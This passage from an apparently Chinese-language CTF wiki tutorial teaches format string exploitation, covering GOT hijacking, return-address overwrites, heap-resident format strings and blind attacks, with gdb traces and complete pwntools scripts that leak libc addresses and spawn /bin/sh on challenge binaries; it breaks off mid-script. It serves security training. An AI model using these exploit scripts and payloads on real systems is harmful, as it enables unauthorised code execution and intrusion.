gef➤ b printf Breakpoint 1 at 0x400640 gef➤ r Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/2017-UIUCTF-pwn200-GoodLuck/goodluck what's the flag 123456 You answered: Breakpoint 1, __printf (format=0x602830 "123456") at printf.c:28 28 printf.c: 没有那个文件或目录. ─────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x7ffff7a627f7 <fprintf+135> add rsp, 0xd8 0x7ffff7a627fe <fprintf+142> ret 0x7ffff7a627ff nop → 0x7ffff7a62800 <printf+0> sub rsp, 0xd8 0x7ffff7a62807 <printf+7> test al, al 0x7ffff7a62809 <printf+9> mov QWORD PTR [rsp+0x28], rsi 0x7ffff7a6280e <printf+14> mov QWORD PTR [rsp+0x30], rdx ───────────────────────────────────────────────────────────────────────[ stack ]──── ['0x7fffffffdb08', 'l8'] 8 0x00007fffffffdb08│+0x00: 0x0000000000400890 → <main+234> mov edi, 0x4009b8 ← $rsp 0x00007fffffffdb10│+0x08: 0x0000000031000001 0x00007fffffffdb18│+0x10: 0x0000000000602830 → 0x0000363534333231 ("123456"?) 0x00007fffffffdb20│+0x18: 0x0000000000602010 → "You answered:\ng" 0x00007fffffffdb28│+0x20: 0x00007fffffffdb30 → "flag{11111111111111111" 0x00007fffffffdb30│+0x28: "flag{11111111111111111" 0x00007fffffffdb38│+0x30: "11111111111111" 0x00007fffffffdb40│+0x38: 0x0000313131313131 ("111111"?) ──────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x7ffff7a62800 → Name: __printf(format=0x602830 "123456") [#1] 0x400890 → Name: main() ───────────────────────────────────────────────────────────────────────────────────────────────── ``` 可以看到 flag 对应的栈上的偏移为 5,除去对应的第一行为返回地址外,其偏移为 4。此外,由于这是一个 64 位程序,所以前 6 个参数存在在对应的寄存器中,fmt 字符串存储在 RDI 寄存器中,所以 fmt 字符串对应的地址的偏移为 10。而 fmt 字符串中 `%order$s` 对应的 order 为 fmt 字符串后面的参数的顺序,所以我们只需要输入 `%9$s` 即可得到 flag 的内容。当然,我们还有更简单的方法利用 https://github.com/scwuaptx/Pwngdb 中的 fmtarg 来判断某个参数的偏移。 ```shell gef➤ fmtarg 0x00007fffffffdb28 The index of format argument : 10 ``` 需要注意的是我们必须 break 在 printf 处。 #### 利用程序 ```python from pwn import * from LibcSearcher import * goodluck = ELF('./goodluck') if args['REMOTE']: sh = remote('pwn.sniperoj.cn', 30017) else: sh = process('./goodluck') payload = "%9$s" print payload ##gdb.attach(sh) sh.sendline(payload) print sh.recv() sh.interactive() ``` ## hijack GOT ### 原理 在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。此外,在没有开启 RELRO 保护的前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。 假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤 - 确定函数 A 的 GOT 表地址。 - 这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。 - 确定函数 B 的内存地址 - 这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。 - 将函数B的内存地址写入到函数 A 的 GOT 表地址处。 - 这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种 - 写入函数:write 函数。 - ROP ```text pop eax; ret; # printf@got -> eax pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset ``` - 格式化字符串任意地址写 ### 例子 这里我们以 2016 CCTF 中的 [pwn3](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/2016-CCTF-pwn3) 为例进行介绍。 #### 确定保护 如下 ```shell ➜ 2016-CCTF-pwn3 git:(master) ✗ checksec pwn3 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` 可以看出程序主要开启了 NX 保护。我们一般默认远程都是开启 ASLR 保护的。 #### 分析程序 首先分析程序,可以发现程序似乎主要实现了一个需密码登录的 ftp,具有 get,put,dir 三个基本功能。大概浏览一下每个功能的代码,发现在 get 功能中存在格式化字符串漏洞 ```C int get_file() { char dest; // [sp+1Ch] [bp-FCh]@5 char s1; // [sp+E4h] [bp-34h]@1 char *i; // [sp+10Ch] [bp-Ch]@3 printf("enter the file name you want to get:"); __isoc99_scanf("%40s", &s1); if ( !strncmp(&s1, "flag", 4u) ) puts("too young, too simple"); for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) ) { if ( !strcmp(i, &s1) ) { strcpy(&dest, i + 0x28); return printf(&dest); } } return printf(&dest); } ``` #### 漏洞利用思路 既然有了格式化字符串漏洞,那么我们可以确定如下的利用思路 - 绕过密码 - 确定格式化字符串参数偏移 - 利用 put@got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址。 - 修改 puts@got 的内容为 system 的地址。 - 当程序再次执行 puts 函数的时候,其实执行的是 system 函数。 #### 漏洞利用程序 如下 ```python from pwn import * from LibcSearcher import LibcSearcher ##context.log_level = 'debug' pwn3 = ELF('./pwn3') if args['REMOTE']: sh = remote('111', 111) else: sh = process('./pwn3') def get(name): sh.sendline('get') sh.recvuntil('enter the file name you want to get:') sh.sendline(name) data = sh.recv() return data def put(name, content): sh.sendline('put') sh.recvuntil('please enter the name of the file you want to upload:') sh.sendline(name) sh.recvuntil('then, enter the content:') sh.sendline(content) def show_dir(): sh.sendline('dir') tmp = 'sysbdmin' name = "" for i in tmp: name += chr(ord(i) - 1) ## password def password(): sh.recvuntil('Name (ftp.hacker.server:Rainism):') sh.sendline(name) ##password password() ## get the addr of puts puts_got = pwn3.got['puts'] log.success('puts got : ' + hex(puts_got)) put('1111', '%8$s' + p32(puts_got)) puts_addr = u32(get('1111')[:4]) ## get addr of system libc = LibcSearcher("puts", puts_addr) system_offset = libc.dump('system') puts_offset = libc.dump('puts') system_addr = puts_addr - puts_offset + system_offset log.success('system addr : ' + hex(system_addr)) ## modify puts@got, point to system_addr payload = fmtstr_payload(7, {puts_got: system_addr}) put('/bin/sh;', payload) sh.recvuntil('ftp>') sh.sendline('get') sh.recvuntil('enter the file name you want to get:') ##gdb.attach(sh) sh.sendline('/bin/sh;') ## system('/bin/sh') show_dir() sh.interactive() ``` 注意 - 我在获取 puts 函数地址时使用的偏移是 8,这是因为我希望我输出的前 4 个字节就是 puts 函数的地址。其实格式化字符串的首地址的偏移是 7。 - 这里我利用了 pwntools 中的 fmtstr\_payload 函数,比较方便获取我们希望得到的结果,有兴趣的可以查看官方文档尝试。比如这里 fmtstr\_payload(7, {puts\_got: system\_addr}) 的意思就是,我的格式化字符串的偏移是 7,我希望在 puts\_got 地址处写入 system\_addr 地址。默认情况下是按照字节来写的。 ## hijack retaddr ### 原理 很容易理解,我们要利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。 ### 例子 这里我们以 [三个白帽-pwnme_k0](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/三个白帽-pwnme_k0) 为例进行分析。 #### 确定保护 ```shell ➜ 三个白帽-pwnme_k0 git:(master) ✗ checksec pwnme_k0 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` 可以看出程序主要开启了 NX 保护以及 Full RELRO 保护。这我们就没有办法修改程序的 got 表了。 #### 分析程序 简单分析一下,就知道程序似乎主要实现了一个类似账户注册之类的功能,主要有修改查看功能,然后发现在查看功能中发现了格式化字符串漏洞 ```C int __usercall sub_400B07@<eax>(char format@<dil>, char formata, __int64 a3, char a4) { write(0, "Welc0me to sangebaimao!\n", 0x1AuLL); printf(&formata, "Welc0me to sangebaimao!\n"); return printf(&a4 + 4); } ``` 其输出的内容为 &a4 + 4。我们回溯一下,发现我们读入的 password 内容也是 ```C v6 = read(0, (char *)&a4 + 4, 0x14uLL); ``` 当然我们还可以发现 username 和 password 之间的距离为 20 个字节。 ```C puts("Input your username(max lenth:20): "); fflush(stdout); v8 = read(0, &bufa, 0x14uLL); if ( v8 && v8 <= 0x14u ) { puts("Input your password(max lenth:20): "); fflush(stdout); v6 = read(0, (char *)&a4 + 4, 0x14uLL); fflush(stdout); *(_QWORD *)buf = bufa; *(_QWORD *)(buf + 8) = a3; *(_QWORD *)(buf + 16) = a4; ``` 好,这就差不多了。此外,也可以发现这个账号密码其实没啥配对不配对的。 #### 利用思路 我们最终的目的是希望可以获得系统的 shell,可以发现在给定的文件中,在 0x00000000004008A6 地址处有一个直接调用system('bin/sh') 的函数(关于这个的发现,一般都会现在程序大致看一下。)。那如果我们修改某个函数的返回地址为这个地址,那就相当于获得了 shell。 虽然存储返回地址的内存本身是动态变化的,但是其相对于 rbp 的地址并不会改变,所以我们可以使用相对地址来计算。利用思路如下 - 确定偏移 - 获取函数的 rbp 与返回地址 - 根据相对偏移获取存储返回地址的地址 - 将执行 system 函数调用的地址写入到存储返回地址的地址。 #### 确定偏移 首先,我们先来确定一下偏移。输入用户名 aaaaaaaa,密码随便输入,断点下在输出密码的那个 printf(&a4 + 4) 函数处 ```text Register Account first! Input your username(max lenth:20): aaaaaaaa Input your password(max lenth:20): %p%p%p%p%p%p%p%p%p%p Register Success!! 1.Sh0w Account Infomation! 2.Ed1t Account Inf0mation! 3.QUit sangebaimao:( >error options 1.Sh0w Account Infomation! 2.Ed1t Account Inf0mation! 3.QUit sangebaimao:( >1 ... ``` 此时栈的情况为 ```text ─────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x400b1a call 0x400758 0x400b1f lea rdi, [rbp+0x10] 0x400b23 mov eax, 0x0 → 0x400b28 call 0x400770 ↳ 0x400770 jmp QWORD PTR [rip+0x20184a] # 0x601fc0 0x400776 xchg ax, ax 0x400778 jmp QWORD PTR [rip+0x20184a] # 0x601fc8 0x40077e xchg ax, ax ────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffdb40│+0x00: 0x00007fffffffdb80 → 0x00007fffffffdc30 → 0x0000000000400eb0 → push r15 ← $rsp, $rbp 0x00007fffffffdb48│+0x08: 0x0000000000400d74 → add rsp, 0x30 0x00007fffffffdb50│+0x10: "aaaaaaaa" ← $rdi 0x00007fffffffdb58│+0x18: 0x000000000000000a 0x00007fffffffdb60│+0x20: 0x7025702500000000 0x00007fffffffdb68│+0x28: "%p%p%p%p%p%p%p%pM\r@" 0x00007fffffffdb70│+0x30: "%p%p%p%pM\r@" 0x00007fffffffdb78│+0x38: 0x0000000000400d4d → cmp eax, 0x2 ``` 可以发现我们输入的用户名在栈上第三个位置,那么除去本身格式化字符串的位置,其偏移为为 5 + 3 = 8。 #### 修改地址 我们再仔细观察下断点处栈的信息 ```text 0x00007fffffffdb40│+0x00: 0x00007fffffffdb80 → 0x00007fffffffdc30 → 0x0000000000400eb0 → push r15 ← $rsp, $rbp 0x00007fffffffdb48│+0x08: 0x0000000000400d74 → add rsp, 0x30 0x00007fffffffdb50│+0x10: "aaaaaaaa" ← $rdi 0x00007fffffffdb58│+0x18: 0x000000000000000a 0x00007fffffffdb60│+0x20: 0x7025702500000000 0x00007fffffffdb68│+0x28: "%p%p%p%p%p%p%p%pM\r@" 0x00007fffffffdb70│+0x30: "%p%p%p%pM\r@" 0x00007fffffffdb78│+0x38: 0x0000000000400d4d → cmp eax, 0x2 ``` 可以看到栈上第二个位置存储的就是该函数的返回地址(其实也就是调用 show account 函数时执行 push rip 所存储的值),在格式化字符串中的偏移为 7。 与此同时栈上,第一个元素存储的也就是上一个函数的 rbp。所以我们可以得到偏移 0x00007fffffffdb80 - 0x00007fffffffdb48 = 0x38。继而如果我们知道了 rbp 的数值,就知道了函数返回地址的地址。 0x0000000000400d74 与 0x00000000004008A6 只有低 2 字节不同,所以我们可以只修改 0x00007fffffffdb48 开始的 2 个字节。 这里需要说明的是在某些较新的系统(如 ubuntu 18.04)上, 直接修改返回地址为 0x00000000004008A6 时可能会发生程序 crash, 这时可以考虑修改返回地址为 0x00000000004008AA, 即直接调用 system("/bin/sh") 处 ```assembly .text:00000000004008A6 sub_4008A6 proc near .text:00000000004008A6 ; __unwind { .text:00000000004008A6 push rbp .text:00000000004008A7 mov rbp, rsp .text:00000000004008AA <- here mov edi, offset command ; "/bin/sh" .text:00000000004008AF call system .text:00000000004008B4 pop rdi .text:00000000004008B5 pop rsi .text:00000000004008B6 pop rdx .text:00000000004008B7 retn ``` #### 利用程序 ```python from pwn import * context.log_level="debug" context.arch="amd64" sh=process("./pwnme_k0") binary=ELF("pwnme_k0") #gdb.attach(sh) sh.recv() sh.writeline("1"*8) sh.recv() sh.writeline("%6$p") sh.recv() sh.writeline("1") sh.recvuntil("0x") ret_addr = int(sh.recvline().strip(),16) - 0x38 success("ret_addr:"+hex(ret_addr)) sh.recv() sh.writeline("2") sh.recv() sh.sendline(p64(ret_addr)) sh.recv() #sh.writeline("%2214d%8$hn") #0x4008aa-0x4008a6 sh.writeline("%2218d%8$hn") sh.recv() sh.writeline("1") sh.recv() sh.interactive() ``` ## 堆上的格式化字符串漏洞 ### 原理 所谓堆上的格式化字符串指的是格式化字符串本身存储在堆上,这个主要增加了我们获取对应偏移的难度,而一般来说,该格式化字符串都是很有可能被复制到栈上的。 ### 例子 这里我们以 2015 年 CSAW 中的 [contacts](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/2015-CSAW-contacts) 为例进行介绍。 #### 确定保护 ```shell ➜ 2015-CSAW-contacts git:(master) ✗ checksec contacts Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) ``` 可以看出程序不仅开启了 NX 保护还开启了 Canary。 #### 分析程序 简单看看程序,发现程序正如名字所描述的,是一个联系人相关的程序,可以实现创建,修改,删除,打印联系人的信息。而再仔细阅读,可以发现在打印联系人信息的时候存在格式化字符串漏洞。 ```C int __cdecl PrintInfo(int a1, int a2, int a3, char *format) { printf("\tName: %s\n", a1); printf("\tLength %u\n", a2); printf("\tPhone #: %s\n", a3); printf("\tDescription: "); return printf(format); } ``` 仔细看看,可以发现这个 format 其实是指向堆中的。 #### 利用思路 我们的基本目的是获取系统的 shell,从而拿到 flag。其实既然有格式化字符串漏洞,我们应该是可以通过劫持got表或者控制程序返回地址来控制程序流程。但是这里却不怎么可行。原因分别如下 - 之所以不能够劫持 got 来控制程序流程,是因为我们发现对于程序中常见的可以对于我们给定的字符串输出的只有 printf 函数,我们只有选择它才可以构造 /bin/sh 让它执行 system('/bin/sh'),但是 printf 函数在其他地方也均有用到,这样做会使得程序直接崩溃。 - 其次,不能够直接控制程序返回地址来控制程序流程的是因为我们并没有一块可以直接执行的地址来存储我们的内容,同时利用格式化字符串来往栈上直接写入 system\_addr + 'bbbb' + addr of '/bin/sh‘ 似乎并不现实。 那么我们可以怎么做呢?我们还有之前在栈溢出讲的技巧,stack pivoting。而这里,我们可以控制的恰好是堆内存,所以我们可以把栈迁移到堆上去。这里我们通过 leave 指令来进行栈迁移,所以在迁移之前我们需要修改程序保存 ebp 的值为我们想要的值。 只有这样在执行 leave 指令的时候, esp 才会成为我们想要的值。同时,因为我们是使用格式化字符串来进行修改,所以我们得知道保存 ebp 的地址为多少,而这时 PrintInfo 函数中存储 ebp 的地址每次都在变化,而我们也无法通过其他方法得知。但是,**程序中压入栈中的 ebp 值其实保存的是上一个函数的保存 ebp 值的地址**,所以我们可以修改其**上层函数的保存的 ebp 的值,即上上层函数(即main函数)的 ebp 数值**。这样当上层程序返回时,即实现了将栈迁移到堆的操作。 基本思路如下 - 首先获取 system 函数的地址 - 通过泄露某个 libc 函数的地址根据 libc database 确定。 - 构造基本联系人描述为 system\_addr + 'bbbb' + binsh\_addr - 修改上层函数保存的 ebp(即上上层函数的 ebp)为**存储 system\_addr 的地址 -4**。 - 当主程序返回时,会有如下操作 - move esp,ebp,将 esp 指向 system\_addr 的地址-4 - pop ebp, 将 esp 指向 system\_addr - ret,将 eip 指向 system\_addr,从而获取 shell。 #### 获取相关地址与偏移 这里我们主要是获取 system 函数地址、/bin/sh 地址,栈上存储联系人描述的地址,以及 PrintInfo 函数的地址。 首先,我们根据栈上存储的 libc\_start\_main\_ret 地址(该地址是当 main 函数执行返回时会运行的函数)来获取 system 函数地址、/bin/sh 地址。我们构造相应的联系人,然后选择输出联系人信息,并将断点下在 printf 处,并且一直运行到格式化字符串漏洞的 printf 函数处,如下 ```shell → 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax> ↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret 0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret ───────────────────────────────────────────────────────────────────────────────────────[ stack ]──── ['0xffffccfc', 'l8'] 8 0xffffccfc│+0x00: 0x08048c27 → leave ← $esp 0xffffcd00│+0x04: 0x0804c420 → "1234567" 0xffffcd04│+0x08: 0x0804c410 → "11111" 0xffffcd08│+0x0c: 0xf7e5acab → <puts+11> add ebx, 0x152355 0xffffcd0c│+0x10: 0x00000000 0xffffcd10│+0x14: 0xf7fad000 → 0x001b1db0 0xffffcd14│+0x18: 0xf7fad000 → 0x001b1db0 0xffffcd18│+0x1c: 0xffffcd48 → 0xffffcd78 → 0x00000000 ← $ebp ──────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0xf7e44670 → Name: __printf(format=0x804c420 "1234567\n") [#1] 0x8048c27 → leave [#2] 0x8048c99 → add DWORD PTR [ebp-0xc], 0x1 [#3] 0x80487a2 → jmp 0x80487b3 [#4] 0xf7e13637 → Name: __libc_start_main(main=0x80486bd, argc=0x1, argv=0xffffce14, init=0x8048df0, fini=0x8048e60, rtld_fini=0xf7fe88a0 <_dl_fini>, stack_end=0xffffce0c) [#5] 0x80485e1 → hlt ──────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ dereference $esp 140 ['$esp', '140'] 1 0xffffccfc│+0x00: 0x08048c27 → leave ← $esp gef➤ dereference $esp l140 ['$esp', 'l140'] 140 0xffffccfc│+0x00: 0x08048c27 → leave ← $esp 0xffffcd00│+0x04: 0x0804c420 → "1234567" 0xffffcd04│+0x08: 0x0804c410 → "11111" 0xffffcd08│+0x0c: 0xf7e5acab → <puts+11> add ebx, 0x152355 0xffffcd0c│+0x10: 0x00000000 0xffffcd10│+0x14: 0xf7fad000 → 0x001b1db0 0xffffcd14│+0x18: 0xf7fad000 → 0x001b1db0 0xffffcd18│+0x1c: 0xffffcd48 → 0xffffcd78 → 0x00000000 ← $ebp 0xffffcd1c│+0x20: 0x08048c99 → add DWORD PTR [ebp-0xc], 0x1 0xffffcd20│+0x24: 0x0804b0a8 → "11111" 0xffffcd24│+0x28: 0x00002b67 ("g+"?) 0xffffcd28│+0x2c: 0x0804c410 → "11111" 0xffffcd2c│+0x30: 0x0804c420 → "1234567" 0xffffcd30│+0x34: 0xf7fadd60 → 0xfbad2887 0xffffcd34│+0x38: 0x08048ed6 → 0x25007325 ("%s"?) 0xffffcd38│+0x3c: 0x0804b0a0 → 0x0804c420 → "1234567" 0xffffcd3c│+0x40: 0x00000000 0xffffcd40│+0x44: 0xf7fad000 → 0x001b1db0 0xffffcd44│+0x48: 0x00000000 0xffffcd48│+0x4c: 0xffffcd78 → 0x00000000 0xffffcd4c│+0x50: 0x080487a2 → jmp 0x80487b3 0xffffcd50│+0x54: 0x0804b0a0 → 0x0804c420 → "1234567" 0xffffcd54│+0x58: 0xffffcd68 → 0x00000004 0xffffcd58│+0x5c: 0x00000050 ("P"?) 0xffffcd5c│+0x60: 0x00000000 0xffffcd60│+0x64: 0xf7fad3dc → 0xf7fae1e0 → 0x00000000 0xffffcd64│+0x68: 0x08048288 → 0x00000082 0xffffcd68│+0x6c: 0x00000004 0xffffcd6c│+0x70: 0x0000000a 0xffffcd70│+0x74: 0xf7fad000 → 0x001b1db0 0xffffcd74│+0x78: 0xf7fad000 → 0x001b1db0 0xffffcd78│+0x7c: 0x00000000 0xffffcd7c│+0x80: 0xf7e13637 → <__libc_start_main+247> add esp, 0x10 0xffffcd80│+0x84: 0x00000001 0xffffcd84│+0x88: 0xffffce14 → 0xffffd00d → "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/201[...]" 0xffffcd88│+0x8c: 0xffffce1c → 0xffffd058 → "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]" ``` 我们可以通过简单的判断可以得到 ``` 0xffffcd7c│+0x80: 0xf7e13637 → <__libc_start_main+247> add esp, 0x10 ``` 存储的是__libc_start_main的返回地址,同时利用 fmtarg 来获取对应的偏移,可以看出其偏移为 32,那么相对于格式化字符串的偏移为 31。 ```shell gef➤ fmtarg 0xffffcd7c The index of format argument : 32 ``` 这样我们便可以得到对应的地址了。进而可以根据 libc-database 来获取对应的 libc,继而获取 system 函数地址与 /bin/sh 函数地址了。 其次,我们可以确定栈上存储格式化字符串的地址 0xffffcd2c 相对于格式化字符串的偏移为 11,得到这个是为了寻址堆中指定联系人的Description的内存首地址,我们将格式化字符串[system_addr][bbbb][binsh_addr][%6$p][%11$p][bbbb]保存在指定联系人的Description中。 再者,我们可以看出下面的地址保存着上层函数的调用地址,其相对于格式化字符串的偏移为 6,这样我们可以直接修改上层函数存储的 ebp 的值。 ```shell 0xffffcd18│+0x1c: 0xffffcd48 → 0xffffcd78 → 0x00000000 ← $ebp ``` #### 构造联系人获取堆地址 得知上面的信息后,我们可以利用下面的方式获取堆地址与相应的 ebp 地址。 ```text [system_addr][bbbb][binsh_addr][%6$p][%11$p][bbbb] ``` 来获取对应的相应的地址。后面的 bbbb 是为了接受字符串方便。 这里因为函数调用时所申请的栈空间与释放的空间是一致的,所以我们得到的 ebp 地址并不会因为我们再次调用而改变。 在部分环境下,system地址会出现\x00,导致printf的时候出现0截断导致无法泄露两个地址,因此可以将payload的修改如下: ```text [%6$p][%11$p][ccc][system_addr][bbbb][binsh_addr][dddd] ``` payload修改为这样的话,还需要在heap上加入12的偏移。这样保证了0截断出现在泄露之后。 #### 修改ebp 由于我们需要执行 move 指令将 ebp 赋给 esp,并还需要执行 pop ebp 才会执行 ret 指令,所以我们需要将 ebp 修改为存储 system 地址 -4 的值。这样 pop ebp 之后,esp 恰好指向保存 system 的地址,这时在执行 ret 指令即可执行 system 函数。 上面已经得知了我们希望修改的 ebp 值,而也知道了对应的偏移为 6,所以我们可以构造如下的 payload 来进行修改相应的值。 ``` part1 = (heap_addr - 4) / 2 part2 = heap_addr - 4 - part1 payload = '%' + str(part1) + 'x%' + str(part2) + 'x%6$n' ``` #### 获取shell 这时,执行完格式化字符串函数之后,退出到上上函数,我们输入 5,退出程序即会执行 ret 指令,就可以获取 shell。 #### 利用程序 ```python from pwn import * from LibcSearcher import * contact = ELF('./contacts') ##context.log_level = 'debug' if args['REMOTE']: sh = remote(11, 111) else: sh = process('./contacts') def createcontact(name, phone, descrip_len, description): sh.recvuntil('>>> ') sh.sendline('1') sh.recvuntil('Contact info: \n') sh.recvuntil('Name: ') sh.sendline(name) sh.recvuntil('You have 10 numbers\n') sh.sendline(phone) sh.recvuntil('Length of description: ') sh.sendline(descrip_len) sh.recvuntil('description:\n\t\t') sh.sendline(description) def printcontact(): sh.recvuntil('>>> ') sh.sendline('4') sh.recvuntil('Contacts:') sh.recvuntil('Description: ') ## get system addr & binsh_addr payload = '%31$paaaa' createcontact('1111', '1111', '111', payload) printcontact() libc_start_main_ret = int(sh.recvuntil('aaaa', drop=True), 16) log.success('get libc_start_main_ret addr: ' + hex(libc_start_main_ret)) libc = LibcSearcher('__libc_start_main_ret', libc_start_main_ret) libc_base = libc_start_main_ret - libc.dump('__libc_start_main_ret') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') log.success('get system addr: ' + hex(system_addr)) log.success('get binsh addr: ' + hex(binsh_addr)) ##gdb.attach(sh) ## get heap addr and ebp addr payload = flat([ system_addr, 'bbbb', binsh_addr, '%6$p%11$pcccc', ]) createcontact('2222', '2222', '222', payload) printcontact() sh.recvuntil('Description: ') data = sh.recvuntil('cccc', drop=True) data = data.split('0x') print data ebp_addr = int(data[1], 16) heap_addr = int(data[2], 16) ## modify ebp part1 = (heap_addr - 4) / 2 part2 = heap_addr - 4 - part1 payload = '%' + str(part1) + 'x%' + str(part2) + 'x%6$n' ##print payload createcontact('3333', '123456789', '300', payload) printcontact() sh.recvuntil('Description: ') sh.recvuntil('Description: ') ##gdb.attach(sh) print 'get shell' sh.recvuntil('>>> ') ##get shell sh.sendline('5') sh.interactive() ``` system出现0截断的情况下,exp如下: ```python from pwn import * context.log_level="debug" context.arch="x86" io=process("./contacts") binary=ELF("contacts") libc=binary.libc def createcontact(io, name, phone, descrip_len, description): sh=io sh.recvuntil('>>> ') sh.sendline('1') sh.recvuntil('Contact info: \n') sh.recvuntil('Name: ') sh.sendline(name) sh.recvuntil('You have 10 numbers\n') sh.sendline(phone) sh.recvuntil('Length of description: ') sh.sendline(descrip_len) sh.recvuntil('description:\n\t\t') sh.sendline(description) def printcontact(io): sh=io sh.recvuntil('>>> ') sh.sendline('4') sh.recvuntil('Contacts:') sh.recvuntil('Description: ') #gdb.attach(io) createcontact(io,"1","1","111","%31$paaaa") printcontact(io) libc_start_main = int(io.recvuntil('aaaa', drop=True), 16)-241 log.success('get libc_start_main addr: ' + hex(libc_start_main)) libc_base=libc_start_main-libc.symbols["__libc_start_main"] system=libc_base+libc.symbols["system"] binsh=libc_base+next(libc.search("/bin/sh")) log.success("system: "+hex(system)) log.success("binsh: "+hex(binsh)) payload = '%6$p%11$pccc'+p32(system)+'bbbb'+p32(binsh)+"dddd" createcontact(io,'2', '2', '111', payload) printcontact(io) io.recvuntil('Description: ') data = io.recvuntil('ccc', drop=True) data = data.split('0x') print data ebp_addr = int(data[1], 16) heap_addr = int(data[2], 16)+12 log.success("ebp: "+hex(system)) log.success("heap: "+hex(heap_addr)) part1 = (heap_addr - 4) / 2 part2 = heap_addr - 4 - part1 payload = '%' + str(part1) + 'x%' + str(part2) + 'x%6$n' #payload=fmtstr_payload(6,{ebp_addr:heap_addr}) ##print payload createcontact(io,'3333', '123456789', '300', payload) printcontact(io) io.recvuntil('Description: ') io.recvuntil('Description: ') ##gdb.attach(sh) log.success("get shell") io.recvuntil('>>> ') ##get shell io.sendline('5') io.interactive() ``` 需要注意的是,这样并不能稳定得到 shell,因为我们一次性输入了太长的字符串。但是我们又没有办法在前面控制所想要输入的地址。只能这样了。 为什么需要打印这么多呢?因为格式化字符串不在栈上,所以就算我们得到了需要更改的ebp的地址,也没有办法去把这个地址写到栈上,利用$符号去定位他;因为没有办法定位,所以没有办法用l\ll等方式去写这个地址,所以只能打印很多。 ## 格式化字符串盲打 ### 原理 所谓格式化字符串盲打指的是只给出可交互的 ip 地址与端口,不给出对应的 binary 文件来让我们进行 pwn,其实这个和 BROP 差不多,不过 BROP 利用的是栈溢出,而这里我们利用的是格式化字符串漏洞。一般来说,我们按照如下步骤进行 - 确定程序的位数 - 确定漏洞位置 - 利用 由于没找到比赛后给源码的题目,所以自己简单构造了两道题。 ### 例子1-泄露栈 源码和部署文件均放在了对应的文件夹 [fmt_blind_stack](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/blind_fmt_stack) 中。 #### 确定程序位数 我们随便输入了 %p,程序回显如下信息 ```shell ➜ blind_fmt_stack git:(master) ✗ nc localhost 9999 %p 0x7ffd4799beb0 G�flag is on the stack% ``` 告诉我们 flag 在栈上,同时知道了该程序是 64 位的,而且应该有格式化字符串漏洞。 #### 利用 那我们就一点一点测试看看 ```python from pwn import * context.log_level = 'error' def leak(payload): sh = remote('127.0.0.1', 9999) sh.sendline(payload) data = sh.recvuntil('\n', drop=True) if data.startswith('0x'): print p64(int(data, 16)) sh.close() i = 1 while 1: payload = '%{}$p'.format(i) leak(payload) i += 1 ``` 最后在输出中简单看了看,得到 flag ```shell //////// //////// \x00\x00\x00\x00\x00\x00\x00\xff flag{thi s_is_fla g}\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\xfe\x7f\x00\x00 ``` ### 例子2-盲打劫持got 源码以及部署文件均已经在 [blind_fmt_got](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/blind_fmt_got) 文件夹中。 #### 确定程序位数 通过简单地测试,我们发现这个程序是格式化字符串漏洞函数,并且程序为 64 位。 ```shell ➜ blind_fmt_got git:(master) ✗ nc localhost 9999 %p 0x7fff3b9774c0 ``` 这次啥也没有回显,又试了试,发现也没啥情况,那我们就只好来泄露一波源程序了。 #### 确定偏移 在泄露程序之前,我们还是得确定一下格式化字符串的偏移,如下 ```shell ➜ blind_fmt_got git:(master) ✗ nc localhost 9999 aaaaaaaa%p%p%p%p%p%p%p%p%p aaaaaaaa0x7ffdbf920fb00x800x7f3fc9ccd2300x4006b00x7f3fc9fb0ab00x61616161616161610x70257025702570250x70257025702570250xa7025 ``` 据此,我们可以知道格式化字符串的起始地址偏移为 6。 #### 泄露binary 由于程序是64位,所以我们从 0x400000 处开始泄露。一般来说有格式化字符串漏洞的盲打都是可以读入 '\x00' 字符的,,不然没法泄露怎么玩,,除此之后,输出必然是 '\x00' 截断的,这是因为格式化字符串漏洞利用的输出函数均是 '\x00' 截断的。。所以我们可以利用如下的泄露代码。 ```python ##coding=utf8 from pwn import * ##context.log_level = 'debug' ip = 